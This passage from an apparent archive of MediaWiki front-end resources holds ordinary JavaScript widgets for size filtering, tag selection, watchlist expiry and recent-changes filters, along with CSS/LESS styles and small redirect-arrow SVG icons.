	 * @param {Object} [config] Configuration options
	 * @cfg {Object} [radioselectinput] Config for the radio select input
	 * @cfg {Object} [textinput] Config for the text input
	 * @cfg {boolean} [selectMin=true] Whether to select 'min', false would select 'max'
	 */
	mw.widgets.SizeFilterWidget = function MwWidgetsSizeFilterWidget( config ) {
		// Config initialization
		config = $.extend( { selectMin: true }, config );
		config.textinput = $.extend( {
			type: 'number'
		}, config.textinput );
		config.radioselectinput = $.extend( {
			options: [
				{ data: 'min', label: mw.msg( 'minimum-size' ) },
				{ data: 'max', label: mw.msg( 'maximum-size' ) }
			]
		}, config.radioselectinput );

		// Properties
		this.radioselectinput = new OO.ui.RadioSelectInputWidget( config.radioselectinput );
		this.textinput = new OO.ui.TextInputWidget( config.textinput );
		this.label = new OO.ui.LabelWidget( { label: mw.msg( 'pagesize' ) } );

		// Parent constructor
		mw.widgets.SizeFilterWidget.parent.call( this, config );

		// Initialization
		this.radioselectinput.setValue( config.selectMin ? 'min' : 'max' );
		this.$element
			.addClass( 'mw-widget-sizeFilterWidget' )
			.append(
				this.radioselectinput.$element,
				this.textinput.$element,
				this.label.$element
			);
	};

	/* Setup */
	OO.inheritClass( mw.widgets.SizeFilterWidget, OO.ui.Widget );

	/* Static Methods */

	/**
	 * @inheritdoc
	 */
	mw.widgets.SizeFilterWidget.static.reusePreInfuseDOM = function ( node, config ) {
		config = mw.widgets.SizeFilterWidget.parent.static.reusePreInfuseDOM( node, config );
		config.radioselectinput = OO.ui.RadioSelectInputWidget.static.reusePreInfuseDOM(
			$( node ).find( '.oo-ui-radioSelectInputWidget' ),
			config.radioselectinput
		);
		config.textinput = OO.ui.TextInputWidget.static.reusePreInfuseDOM(
			$( node ).find( '.oo-ui-textInputWidget' ),
			config.textinput
		);
		return config;
	};

	/**
	 * @inheritdoc
	 */
	mw.widgets.SizeFilterWidget.static.gatherPreInfuseState = function ( node, config ) {
		var state = mw.widgets.SizeFilterWidget.parent.static.gatherPreInfuseState( node, config );
		state.radioselectinput = OO.ui.RadioSelectInputWidget.static.gatherPreInfuseState(
			$( node ).find( '.oo-ui-radioSelectInputWidget' ),
			config.radioselectinput
		);
		state.textinput = OO.ui.TextInputWidget.static.gatherPreInfuseState(
			$( node ).find( '.oo-ui-textInputWidget' ),
			config.textinput
		);
		return state;
	};

	/* Methods */

	/**
	 * @inheritdoc
	 */
	mw.widgets.SizeFilterWidget.prototype.restorePreInfuseState = function ( state ) {
		mw.widgets.SizeFilterWidget.parent.prototype.restorePreInfuseState.call( this, state );
		this.radioselectinput.restorePreInfuseState( state.radioselectinput );
		this.textinput.restorePreInfuseState( state.textinput );
	};

}() );
mediawiki.widgets/mw.widgets.TagMultiselectWidget.js000066600000004212151335045660016706 0ustar00/*!
 * MediaWiki Widgets - TagMultiselectWidget class.
 *
 * @copyright 2017 MediaWiki Widgets Team and others; see AUTHORS.txt
 * @license The MIT License (MIT); see LICENSE.txt
 */
( function () {
	/**
	 * TagMultiselectWidget can be used to input list of tags in a single
	 * line.
	 *
	 * This extends TagMultiselectWidget by adding an invisible textarea
	 * element which will be used to submit the values of the tags
	 *
	 * If used inside HTML form the results will be sent as the list of
	 * newline-separated tags.
	 *
	 * @class
	 * @extends OO.ui.TagMultiselectWidget
	 *
	 * @constructor
	 * @param {Object} [config] Configuration options
	 * @cfg {string} [name] Name of input to submit results (when used in HTML forms)
	 */
	mw.widgets.TagMultiselectWidget = function MwWidgetsTagMultiselectWidget( config ) {
		// Parent constructor
		mw.widgets.TagMultiselectWidget.parent.call( this, $.extend( {}, config, {} ) );

		if ( 'name' in config ) {
			// Use this instead of <input type="hidden">, because hidden inputs do not have separate
			// 'value' and 'defaultValue' properties.
			this.$hiddenInput = $( '<textarea>' )
				.addClass( 'oo-ui-element-hidden' )
				.attr( 'name', config.name )
				.appendTo( this.$element );
			// Update with preset values
			this.updateHiddenInput();
			// Set the default value (it might be different from just being empty)
			this.$hiddenInput.prop( 'defaultValue', this.getValue().join( '\n' ) );
		}

		// Events
		// When list of selected tags changes, update hidden input
		this.connect( this, {
			change: 'updateHiddenInput'
		} );
	};

	/* Setup */

	OO.inheritClass( mw.widgets.TagMultiselectWidget, OO.ui.TagMultiselectWidget );

	/* Methods */

	/**
	 * If used inside HTML form, then update hiddenInput with list of
	 * newline-separated tags.
	 *
	 * @private
	 */
	mw.widgets.TagMultiselectWidget.prototype.updateHiddenInput = function () {
		if ( '$hiddenInput' in this ) {
			this.$hiddenInput.val( this.getValue().join( '\n' ) );
			// Trigger a 'change' event as if a user edited the text
			// (it is not triggered when changing the value from JS code).
			this.$hiddenInput.trigger( 'change' );
		}
	};

}() );
mediawiki.widgets/mw.widgets.SizeFilterWidget.base.css000066600000001653151335045660017133 0ustar00/*!
 * MediaWiki Widgets - base SizeFilterWidget styles.
 *
 * @copyright 2011-2018 MediaWiki Widgets Team and others; see AUTHORS.txt
 * @license The MIT License (MIT); see LICENSE.txt
 */

.mw-widget-sizeFilterWidget > .oo-ui-widget {
	display: inline-block;
	vertical-align: middle;
}

.mw-widget-sizeFilterWidget .oo-ui-textInputWidget {
	max-width: 10em;
}

/* PHP widget */
.mw-widget-sizeFilterWidget .oo-ui-radioSelectInputWidget .oo-ui-fieldLayout {
	display: inline-block;
	margin: 0;
	vertical-align: middle;
}

.mw-widget-sizeFilterWidget .oo-ui-radioSelectInputWidget .oo-ui-fieldLayout:first-child {
	margin-right: 0.5em;
}

/* JS widget */
.mw-widget-sizeFilterWidget .oo-ui-radioSelectInputWidget .oo-ui-radioOptionWidget {
	display: inline-table;
	width: auto;
	margin: 0;
	vertical-align: middle;
}

.mw-widget-sizeFilterWidget .oo-ui-radioSelectInputWidget .oo-ui-radioOptionWidget:first-child {
	margin-right: 0.5em;
}
mediawiki.special/edittags.css000066600000000342151335045660012457 0ustar00/*!
 * Styles for Special:EditTags
 */
#mw-edittags-tags-selector td {
	vertical-align: top;
}

#mw-edittags-tags-selector-multi td {
	vertical-align: top;
	padding-right: 1.5em;
}

#mw-edittags-tag-list {
	min-width: 20em;
}
mediawiki.misc-authed-curate/edittags.js000066600000001626151335045660014355 0ustar00/*!
 * JavaScript for Special:EditTags
 */
( function () {
	if ( mw.config.get( 'wgCanonicalSpecialPageName' ) !== 'EditTags' ) {
		return;
	}
	$( function () {
		var $wpReason = $( '#wpReason' );
		var $tagList = $( '#mw-edittags-tag-list' );

		if ( $tagList.length ) {
			$tagList.chosen( {
				/* eslint-disable camelcase */
				placeholder_text_multiple: mw.msg( 'tags-edit-chosen-placeholder' ),
				no_results_text: mw.msg( 'tags-edit-chosen-no-results' )
				/* eslint-enable camelcase */
			} );
		}

		$( '#mw-edittags-remove-all' ).on( 'change', function ( e ) {
			$( '.mw-edittags-remove-checkbox' ).prop( 'checked', e.target.checked );
		} );
		$( '.mw-edittags-remove-checkbox' ).on( 'change', function ( e ) {
			if ( !e.target.checked ) {
				$( '#mw-edittags-remove-all' ).prop( 'checked', false );
			}
		} );

		$wpReason.codePointLimit( mw.config.get( 'wgCommentCodePointLimit' ) );
	} );

}() );
mediawiki.action.edit/watchlistExpiry.js000066600000001525151335045660014467 0ustar00/*!
 * Scripts for WatchlistExpiry on action=edit
 */
'use strict';

// Toggle the watchlist-expiry dropdown's disabled state according to the
// selected state of the watchthis checkbox.
$( function () {
	// The 'wpWatchthis' and 'wpWatchlistExpiry' fields come from EditPage.php.
	var watchThisNode = document.getElementById( 'wpWatchthisWidget' ),
		expiryNode = document.getElementById( 'wpWatchlistExpiryWidget' );

	if ( watchThisNode && expiryNode ) {
		var watchThisWidget = OO.ui.infuse( watchThisNode );
		var expiryWidget = OO.ui.infuse( expiryNode );
		// Set initial state to match the watchthis checkbox.
		expiryWidget.setDisabled( !watchThisWidget.isSelected() );

		// Change state on every change of the watchthis checkbox.
		watchThisWidget.on( 'change', function ( enabled ) {
			expiryWidget.setDisabled( !enabled );
		} );
	}
} );
mediawiki.skinning/i18n-all-lists-margins.less000066600000001364151335045660015355 0ustar00/* Correct directionality when page dir is different from site/user dir */
.mw-content-ltr ul,
.mw-content-rtl .mw-content-ltr ul {
	/* @noflip */
	margin: 0.3em 0 0 1.6em;
	padding: 0;
}

.mw-content-rtl ul,
.mw-content-ltr .mw-content-rtl ul {
	/* @noflip */
	margin: 0.3em 1.6em 0 0;
	padding: 0;
}

.mw-content-ltr ol,
.mw-content-rtl .mw-content-ltr ol {
	/* @noflip */
	margin: 0.3em 0 0 3.2em;
	padding: 0;
}

.mw-content-rtl ol,
.mw-content-ltr .mw-content-rtl ol {
	/* @noflip */
	margin: 0.3em 3.2em 0 0;
	padding: 0;
}

/* @noflip */
.mw-content-ltr dd,
.mw-content-rtl .mw-content-ltr dd {
	margin-left: 1.6em;
	margin-right: 0;
}

/* @noflip */
.mw-content-rtl dd,
.mw-content-ltr .mw-content-rtl dd {
	margin-right: 1.6em;
	margin-left: 0;
}
mediawiki.special.apisandbox/apisandbox.less000066600000005365151335045660015322 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mediawiki.mixins.less';

.mw-apisandbox-toolbar {
	background: #fff;
	.position-sticky();
	top: 0;
	padding: 0.5em 0;
	box-shadow: 0 2px 0 0 rgba( 0, 0, 0, 0.1 );
	text-align: right;
	z-index: 1;
}

#mw-apisandbox-ui .mw-apisandbox-link {
	display: none;
}

.mw-apisandbox-popup {
	.oo-ui-popupWidget-body > .oo-ui-widget {
		vertical-align: middle;
	}

	/* So DateTimeInputWidget's calendar popup works... */
	.oo-ui-popupWidget-popup,
	.oo-ui-popupWidget-body {
		overflow: visible;
	}

	/* Display contents of the popup on a single line */
	& > .oo-ui-popupWidget-popup > .oo-ui-popupWidget-body {
		display: table;
	}

	& > .oo-ui-popupWidget-popup > .oo-ui-popupWidget-body > * {
		display: table-cell;
	}

	& > .oo-ui-popupWidget-popup > .oo-ui-popupWidget-body > .oo-ui-buttonWidget {
		padding-left: 0.5em;
		width: 1%;
	}

	&-help {
		min-width: 25em;

		.oo-ui-popupWidget-body-padded {
			// TODO: Upstream this fix (T266223)
			margin-top: 5px;
		}
	}
}

.mw-apisandbox-help-field {
	border-bottom: 1px solid rgba( 0, 0, 0, 0.1 );
	padding-bottom: 12px;

	&:last-child {
		border-bottom: 0;
	}
}

.mw-apisandbox-optionalWidget {
	width: 100%;

	&.oo-ui-widget-disabled {
		position: relative;
		z-index: 0; /* New stacking context to prevent the cover from leaking out */
	}

	&-cover {
		position: absolute;
		left: 0;
		right: 0;
		top: 0;
		bottom: 0;
		z-index: 2;
		cursor: pointer;
	}

	&-fields {
		display: table;
		width: 100%;
	}

	&-widget,
	&-checkbox {
		display: table-cell;
		vertical-align: middle;
	}

	&-checkbox {
		width: 1%; /* Will be expanded by content */
		white-space: nowrap;
		padding-left: 0.5em;
	}
}

.mw-apisandbox-textInputCode .oo-ui-inputWidget-input {
	font-family: monospace, monospace;
	font-size: 0.8125em;
	/* stylelint-disable-next-line plugin/no-unsupported-browser-features */
	-moz-tab-size: 4;
	/* stylelint-disable-next-line plugin/no-unsupported-browser-features */
	tab-size: 4;
}

.mw-apisandbox-help-field,
.mw-apisandbox-widget-field {
	max-width: 70em;
}

.mw-apisandbox-widget-field {
	.oo-ui-textInputWidget {
		/* Leave at least enough space for icon, indicator, and a sliver of text */
		min-width: 6em;
	}

	&.oo-ui-labelElement.oo-ui-fieldLayout-align-left > .oo-ui-fieldLayout-body {
		& > .oo-ui-fieldLayout-header {
			width: 30%;
		}

		& > .oo-ui-fieldLayout-field {
			width: 70%;
		}
	}
}

/* stylelint-disable selector-class-pattern */
.apihelp-deprecated,
.apihelp-internal {
	font-weight: bold;
	color: @color-error;
}
/* stylelint-enable selector-class-pattern */

.mw-apisandbox-deprecated-value .oo-ui-labelElement-label {
	text-decoration: line-through;
}

.oo-ui-menuOptionWidget .mw-apisandbox-flag {
	line-height: 1.42857143em;
	color: @color-subtle;
	float: right;
}
mediawiki.special.changeslist.watchlistexpiry/watchlistexpiry.less000066600000000701151335045660022040 0ustar00@import 'mediawiki.skin.variables.less';

/* Make the clock icon smaller than it is by default, and grey it out. */
.mw-changesList-watchlistExpiry.oo-ui-iconElement-icon {
	min-height: 13px;
	height: 13px;
	position: relative;
	top: -@position-offset-border-width-base;
	opacity: @opacity-icon-base--disabled;
}

.mw-watchlistexpiry-msg {
	// Reduce the amount of space between the clock and the message shown to its right.
	margin-left: -0.2em;
}
mediawiki.special.changeslist.watchlistexpiry/watchlistexpiry.js000066600000001626151335045660021515 0ustar00( function () {

	/*
	 * On touch devices, make it possible to click on the watchlist expiry clock icon
	 * and get a text display of the remaining days or hours for that watchlist item.
	 *
	 * @private
	 * @param {Event} event The click event.
	 */
	function addDaysLeftMessages( event ) {
		var timeLeft, msg,
			$clock = $( event.target );
		timeLeft = $clock.data( 'days-left' );
		if ( timeLeft === undefined ) {
			// Give up if there's no data attribute (e.g. in the watchlist legend).
			return;
		}
		msg = timeLeft > 0 ?
			mw.msg( 'watchlist-expiry-days-left', timeLeft ) :
			mw.msg( 'watchlist-expiry-hours-left' );
		$clock.after( $( '<span>' )
			.addClass( 'mw-watchlistexpiry-msg' )
			.text( mw.msg( 'parentheses', msg ) ) );
	}

	$( function () {
		if ( 'ontouchstart' in document.documentElement ) {
			$( '.mw-changesList-watchlistExpiry' ).one( 'click', addDaysLeftMessages );
		}
	} );

}() );
mediawiki.watchstar.widgets/WatchlistExpiryWidget.css000066600000000417151335045660017212 0ustar00.mw-watchstar-WatchlistExpiryWidget label {
	/* Even though the parent .mw-notification already has this set, */
	/* it's overridden by the label elements. */
	cursor: pointer;
}

.mw-WatchlistExpiryWidgetwatchlist-dropdown-label {
	display: block;
	margin-top: 0.8em;
}
mediawiki.watchstar.widgets/WatchlistExpiryWidget.js000066600000010524151335045660017036 0ustar00/**
 * A special widget that displays a message that a page is being watched/unwatched
 * with a selection widget that can determine how long the page will be watched.
 * If a page is being watched then a dropdown with expiry options is included.
 *
 * @class
 * @extends OO.ui.Widget
 * @param {string} action One of 'watch', 'unwatch'
 * @param {string} pageTitle Title of page that this widget will watch or unwatch
 * @param {Function} updateWatchLink
 * @param {Object} config Configuration object
 */
function WatchlistExpiryWidget( action, pageTitle, updateWatchLink, config ) {
	var dataExpiryOptions = require( './data.json' ).options,
		messageLabel,
		dropdownLabel,
		expiryDropdown,
		onDropdownChange,
		api,
		$link,
		expiryOptions = [];

	config = config || {};
	$link = config.$link;

	WatchlistExpiryWidget.parent.call( this, config );

	messageLabel = new OO.ui.LabelWidget( {
		label: config.message
	} );

	this.$element
		.addClass( 'mw-watchstar-WatchlistExpiryWidget' )
		.append( messageLabel.$element );

	/**
	 * Allows user to tab into the expiry dropdown from the watch link.
	 * Valid only for the initial keystroke after the popup appears, so as to
	 * avoid listening to every keystroke for the entire session.
	 */
	function addTabKeyListener() {
		$( window ).one( 'keydown.watchlistExpiry', function ( e ) {
			if ( ( e.keyCode || e.which ) !== OO.ui.Keys.TAB ) {
				return;
			}

			// Here we look for focus on the watch link, going by the accessKey.
			// This is because there is no CSS class or ID on the link itself,
			// and skins could manipulate the position of the link. The accessKey
			// however is always present on the link.
			if ( document.activeElement.accessKey === mw.msg( 'accesskey-ca-watch' ) ) {
				e.preventDefault();
				expiryDropdown.focus();

				// Add another tab key listener so they can tab back to the watch link.
				addTabKeyListener();
			} else if ( $( e.target ).parents( '.mw-watchexpiry' ).length ) {
				// Move focus to the watch link if they're tabbing from the dropdown.
				e.preventDefault();
				$( '#ca-unwatch a' ).trigger( 'focus' );
			}
		} );
	}

	if ( action === 'watch' ) {
		addTabKeyListener();

		Object.keys( dataExpiryOptions ).forEach( function ( key ) {
			expiryOptions.push( { data: dataExpiryOptions[ key ], label: key } );
		} );

		dropdownLabel = new OO.ui.LabelWidget( {
			label: mw.message( 'addedwatchexpiry-options-label' ).parseDom(),
			classes: [ 'mw-WatchlistExpiryWidgetwatchlist-dropdown-label' ]
		} );
		expiryDropdown = new OO.ui.DropdownInputWidget( {
			options: expiryOptions,
			classes: [ 'mw-watchexpiry' ]
		} );
		onDropdownChange = function ( value ) {
			var notif = mw.notification,
				optionSelectedLabel = expiryDropdown.dropdownWidget.label;

			if ( typeof $link !== 'undefined' ) {
				updateWatchLink( $link, 'watch', 'loading' );
			}

			// Pause the mw.notify so that we can wait for watch request to finish
			notif.pause();
			api = new mw.Api();
			api.watch( pageTitle, value )
				.done( function ( watchResponse ) {
					var message,
						mwTitle = mw.Title.newFromText( pageTitle );
					if ( mwTitle.isTalkPage() ) {
						message = value === 'infinite' ? 'addedwatchindefinitelytext-talk' : 'addedwatchexpirytext-talk';
					} else {
						message = value === 'infinite' ? 'addedwatchindefinitelytext' : 'addedwatchexpirytext';
					}

					// The following messages can be used here:
					// * addedwatchindefinitelytext-talk
					// * addedwatchindefinitelytext
					// * addedwatchexpirytext-talk
					// * addedwatchexpirytext
					messageLabel.setLabel(
						mw.message( message, mwTitle.getPrefixedText(), optionSelectedLabel ).parseDom()
					);
					// Resume the mw.notify once the label has been updated
					notif.resume();

					updateWatchLink( mwTitle, 'unwatch', 'idle', watchResponse.expiry, value );
				} )
				.fail( function ( code, data ) {
					// Format error message
					var $msg = api.getErrorMessage( data );

					// Report to user about the error
					mw.notify( $msg, {
						tag: 'watch-self',
						type: 'error'
					} );
					// Resume the mw.notify once the error has been reported
					notif.resume();
				} );
		};

		expiryDropdown.on( 'change', onDropdownChange );
		this.$element.append( dropdownLabel.$element, expiryDropdown.$element );
	}
}

OO.inheritClass( WatchlistExpiryWidget, OO.ui.Widget );

module.exports = WatchlistExpiryWidget;
mediawiki.action/mediawiki.action.view.redirectPage.css000066600000002444151335045660017302 0ustar00/*!
 * Display neat icons on redirect pages.
 */

/* stylelint-disable selector-class-pattern */

/* Hide, but keep accessible for screen-readers. */
.redirectMsg p {
	overflow: hidden;
	height: 0;
}

.redirectText {
	list-style: none;
	display: inline;
	/* shared.css has some very weird directionality-specific rules for 'ul' we need to override,
	 * search for "Correct directionality when page dir is different from site/user dir" */
	/* stylelint-disable declaration-no-important */
	margin: 0 !important;
	padding: 0 !important;
	/* stylelint-enable declaration-no-important */
}

/* @noflip */
.mw-content-ltr .redirectText li {
	display: inline;
	margin: 0;
	padding: 0;
	padding-left: 42px;
	background: transparent url( images/nextredirect-ltr.svg ) bottom left no-repeat;
}

/* @noflip */
.mw-content-ltr .redirectText li:first-child {
	padding-left: 47px;
	background: transparent url( images/redirect-ltr.svg ) bottom left no-repeat;
}

/* @noflip */
.mw-content-rtl .redirectText li {
	display: inline;
	margin: 0;
	padding: 0;
	padding-right: 42px;
	background: transparent url( images/nextredirect-rtl.svg ) bottom right no-repeat;
}

/* @noflip */
.mw-content-rtl .redirectText li:first-child {
	padding-right: 47px;
	background: transparent url( images/redirect-rtl.svg ) bottom right no-repeat;
}
mediawiki.action/images/redirect-rtl.svg000066600000000455151335045660014371 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="47" height="20" viewBox="0 0 47 20">
	<path fill="none" stroke="#000" stroke-miterlimit="10" stroke-width="2" d="M32.002 2.5V11c0 1.04-1.02 1.98-2.02 1.98h-6l-3 .02"/>
	<path d="m23.502 9.5-.02 7-6.5-3.5z"/>
</svg>
mediawiki.action/images/redirect-ltr.svg000066600000000446151335045660014371 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="47" height="20" viewBox="0 0 47 20">
	<path fill="none" stroke="#000" stroke-miterlimit="10" stroke-width="2" d="M14.98 2.5V11c0 1.04 1.02 1.98 2.02 1.98h6l3 .02"/>
	<path d="m23.48 9.5.02 7L30 13z"/>
</svg>
mediawiki.action/images/nextredirect-ltr.svg000066600000000373151335045660015267 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="42" height="20" viewBox="0 0 42 20">
	<path fill="#fff" stroke="#000" stroke-miterlimit="10" stroke-width="2" d="M11 10h17.064"/>
	<path d="m23 6 8 4-8 4z"/>
</svg>
mediawiki.action/images/nextredirect-rtl.svg000066600000000373151335045660015267 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="42" height="20" viewBox="0 0 42 20">
	<path fill="#fff" stroke="#000" stroke-miterlimit="10" stroke-width="2" d="M31 10H13.936"/>
	<path d="m19 6-8 4 8 4z"/>
</svg>
mediawiki.action/mediawiki.action.view.redirect.js000066600000003605151335045660016331 0ustar00/*!
 * In general, MediaWiki does not ask browsers to resolve wiki page
 * redirects client-side over HTTP. Instead, wiki page redirects are
 * resolved server-side and rendered directly in response to a
 * navigation.
 *
 * This script is responsible for:
 *
 * - Update the address bar to reflect the rendered destination.
 *
 *   Given [[Foo]] redirecting to [[Bar]], when viewing [[Foo]]
 *   the server renders Bar content, with "Bar" as doc title
 *   and with "Bar" in the address bar.
 *
 * - For internal redirect destination that specify a fragment, if
 *   the navigation does not set its own fragment, scroll to the
 *   specified section.
 *
 *   Given [[Foo]] redirecting to [[Bar#Foo]], the browser should
 *   scroll to "Foo", and render address bar Bar#Foo (not Foo, Bar,
 *   or Foo#Foo).
 *
 *   Given [[Foo]] redirecting to [[Bar#Foo]], when navigating to
 *   [[Foo#Quux]], the address bar should reflect Bar#Quux, and
 *   let the native scroll happen, don't override scroll to #Foo.
 */
( function () {
	var canonical = mw.config.get( 'wgInternalRedirectTargetUrl' );
	if ( !canonical ) {
		return;
	}

	var fragment = null;
	if ( location.hash ) {
		// Ignore redirect's own fragment and preserve fragment override in address
		canonical = canonical.replace( /#.*$/, '' ) + location.hash;
	} else {
		var index = canonical.indexOf( '#' );
		fragment = ( index !== -1 ) ? canonical.slice( index ) : null;
	}

	// Update address bar, including browser history.
	// Preserve correct "Back"-button behaviour by using replaceState instead of
	// pushState (or location.hash assignment)
	history.replaceState( history.state, '', canonical );

	if ( fragment ) {
		// Specification for history.replaceState() doesn't require browser to scroll,
		// so scroll to be sure (see also T110501).
		var node = document.getElementById( fragment.slice( 1 ) );
		if ( node ) {
			node.scrollIntoView();
		}
	}

}() );
mediawiki.rcfilters/ui/FilterTagItemWidget.js000066600000002432151335045660015337 0ustar00var TagItemWidget = require( './TagItemWidget.js' ),
	FilterTagItemWidget;

/**
 * Extend OOUI's FilterTagItemWidget to also display a popup on hover.
 *
 * @class mw.rcfilters.ui.FilterTagItemWidget
 * @extends mw.rcfilters.ui.TagItemWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersViewModel
 * @param {mw.rcfilters.dm.FilterItem} invertModel
 * @param {mw.rcfilters.dm.FilterItem} itemModel Item model
 * @param {Object} config Configuration object
 */
FilterTagItemWidget = function MwRcfiltersUiFilterTagItemWidget(
	controller, filtersViewModel, invertModel, itemModel, config
) {
	config = config || {};

	FilterTagItemWidget.parent.call( this, controller, filtersViewModel, invertModel, itemModel, config );

	this.$element
		.addClass( 'mw-rcfilters-ui-filterTagItemWidget' );
};

/* Initialization */

OO.inheritClass( FilterTagItemWidget, TagItemWidget );

/* Methods */

/**
 * @inheritdoc
 */
FilterTagItemWidget.prototype.setCurrentMuteState = function () {
	this.setFlags( {
		muted: (
			!this.itemModel.isSelected() ||
			this.itemModel.isIncluded() ||
			this.itemModel.isFullyCovered()
		),
		invalid: this.itemModel.isSelected() && this.itemModel.isConflicted()
	} );
};

module.exports = FilterTagItemWidget;
mediawiki.rcfilters/ui/SaveFiltersPopupButtonWidget.js000066600000012261151335045660017307 0ustar00/**
 * Save filters widget. This widget is displayed in the tag area
 * and allows the user to save the current state of the system
 * as a new saved filter query they can later load or set as
 * default.
 *
 * @class mw.rcfilters.ui.SaveFiltersPopupButtonWidget
 * @extends OO.ui.PopupButtonWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.SavedQueriesModel} model View model
 * @param {Object} [config] Configuration object
 */
var SaveFiltersPopupButtonWidget = function MwRcfiltersUiSaveFiltersPopupButtonWidget( controller, model, config ) {
	var layout,
		checkBoxLayout,
		$popupContent = $( '<div>' );

	config = config || {};

	this.controller = controller;
	this.model = model;

	// Parent
	SaveFiltersPopupButtonWidget.parent.call( this, $.extend( {
		framed: false,
		icon: 'bookmark',
		title: mw.msg( 'rcfilters-savedqueries-add-new-title' ),
		popup: {
			classes: [ 'mw-rcfilters-ui-saveFiltersPopupButtonWidget-popup' ],
			padded: true,
			head: true,
			// Make the popup slightly wider to accommodate titles and labels
			// from languages that are longer than the original English ones.
			// See T217304
			width: 450,
			icon: 'bookmark',
			label: mw.msg( 'rcfilters-savedqueries-add-new-title' ),
			$content: $popupContent
		}
	}, config ) );

	this.input = new OO.ui.TextInputWidget( {
		placeholder: mw.msg( 'rcfilters-savedqueries-new-name-placeholder' )
	} );
	layout = new OO.ui.FieldLayout( this.input, {
		label: mw.msg( 'rcfilters-savedqueries-new-name-label' ),
		align: 'top'
	} );

	this.setAsDefaultCheckbox = new OO.ui.CheckboxInputWidget();
	checkBoxLayout = new OO.ui.FieldLayout( this.setAsDefaultCheckbox, {
		label: mw.msg( 'rcfilters-savedqueries-setdefault' ),
		align: 'inline'
	} );

	this.applyButton = new OO.ui.ButtonWidget( {
		label: mw.msg( 'rcfilters-savedqueries-apply-label' ),
		classes: [ 'mw-rcfilters-ui-saveFiltersPopupButtonWidget-popup-buttons-apply' ],
		flags: [ 'primary', 'progressive' ]
	} );
	this.cancelButton = new OO.ui.ButtonWidget( {
		label: mw.msg( 'rcfilters-savedqueries-cancel-label' ),
		classes: [ 'mw-rcfilters-ui-saveFiltersPopupButtonWidget-popup-buttons-cancel' ]
	} );

	$popupContent
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-saveFiltersPopupButtonWidget-popup-layout' )
				.append( layout.$element ),
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-saveFiltersPopupButtonWidget-popup-options' )
				.append( checkBoxLayout.$element ),
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-saveFiltersPopupButtonWidget-popup-buttons' )
				.append(
					this.cancelButton.$element,
					this.applyButton.$element
				)
		);

	// Events
	this.popup.connect( this, {
		ready: 'onPopupReady'
	} );
	this.input.connect( this, {
		change: 'onInputChange',
		enter: 'onInputEnter'
	} );
	this.input.$input.on( {
		keyup: this.onInputKeyup.bind( this )
	} );
	this.setAsDefaultCheckbox.connect( this, { change: 'onSetAsDefaultChange' } );
	this.cancelButton.connect( this, { click: 'onCancelButtonClick' } );
	this.applyButton.connect( this, { click: 'onApplyButtonClick' } );

	// Initialize
	this.applyButton.setDisabled( !this.input.getValue() );
	this.$element
		.addClass( 'mw-rcfilters-ui-saveFiltersPopupButtonWidget' );
};

/* Initialization */
OO.inheritClass( SaveFiltersPopupButtonWidget, OO.ui.PopupButtonWidget );

/**
 * Respond to input enter event
 */
SaveFiltersPopupButtonWidget.prototype.onInputEnter = function () {
	this.apply();
};

/**
 * Respond to input change event
 *
 * @param {string} value Input value
 */
SaveFiltersPopupButtonWidget.prototype.onInputChange = function ( value ) {
	value = value.trim();

	this.applyButton.setDisabled( !value );
};

/**
 * Respond to input keyup event, this is the way to intercept 'escape' key
 *
 * @param {jQuery.Event} e Event data
 * @return {boolean} false
 */
SaveFiltersPopupButtonWidget.prototype.onInputKeyup = function ( e ) {
	if ( e.which === OO.ui.Keys.ESCAPE ) {
		this.popup.toggle( false );
		return false;
	}
};

/**
 * Respond to popup ready event
 */
SaveFiltersPopupButtonWidget.prototype.onPopupReady = function () {
	this.input.focus();
};

/**
 * Respond to "set as default" checkbox change
 *
 * @param {boolean} checked State of the checkbox
 */
SaveFiltersPopupButtonWidget.prototype.onSetAsDefaultChange = function ( checked ) {
	this.applyButton
		.setIcon( checked ? 'pushPin' : null );
};

/**
 * Respond to cancel button click event
 */
SaveFiltersPopupButtonWidget.prototype.onCancelButtonClick = function () {
	this.popup.toggle( false );
};

/**
 * Respond to apply button click event
 */
SaveFiltersPopupButtonWidget.prototype.onApplyButtonClick = function () {
	this.apply();
};

/**
 * Apply and add the new quick link
 */
SaveFiltersPopupButtonWidget.prototype.apply = function () {
	var label = this.input.getValue().trim();

	// This condition is more for double-checking, since the
	// apply button should be disabled if the label is empty
	if ( label ) {
		this.controller.saveCurrentQuery( label, this.setAsDefaultCheckbox.isSelected() );
		this.input.setValue( '' );
		this.setAsDefaultCheckbox.setSelected( false );
		this.popup.toggle( false );

		this.emit( 'saveCurrent' );
	}
};

module.exports = SaveFiltersPopupButtonWidget;
mediawiki.rcfilters/ui/FilterTagMultiselectWidget.js000066600000060200151335045660016730 0ustar00var ViewSwitchWidget = require( './ViewSwitchWidget.js' ),
	SaveFiltersPopupButtonWidget = require( './SaveFiltersPopupButtonWidget.js' ),
	MenuSelectWidget = require( './MenuSelectWidget.js' ),
	FilterTagItemWidget = require( './FilterTagItemWidget.js' ),
	FilterTagMultiselectWidget;

/**
 * List displaying all filter groups
 *
 * @class mw.rcfilters.ui.FilterTagMultiselectWidget
 * @extends OO.ui.MenuTagMultiselectWidget
 * @mixins OO.ui.mixin.PendingElement
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.FiltersViewModel} model View model
 * @param {mw.rcfilters.dm.SavedQueriesModel} savedQueriesModel Saved queries model
 * @param {Object} config Configuration object
 * @cfg {jQuery} [$overlay] A jQuery object serving as overlay for popups
 * @cfg {jQuery} [$wrapper] A jQuery object for the wrapper of the general
 *  system. If not given, falls back to this widget's $element
 * @cfg {boolean} [collapsed] Filter area is collapsed
 */
FilterTagMultiselectWidget = function MwRcfiltersUiFilterTagMultiselectWidget( controller, model, savedQueriesModel, config ) {
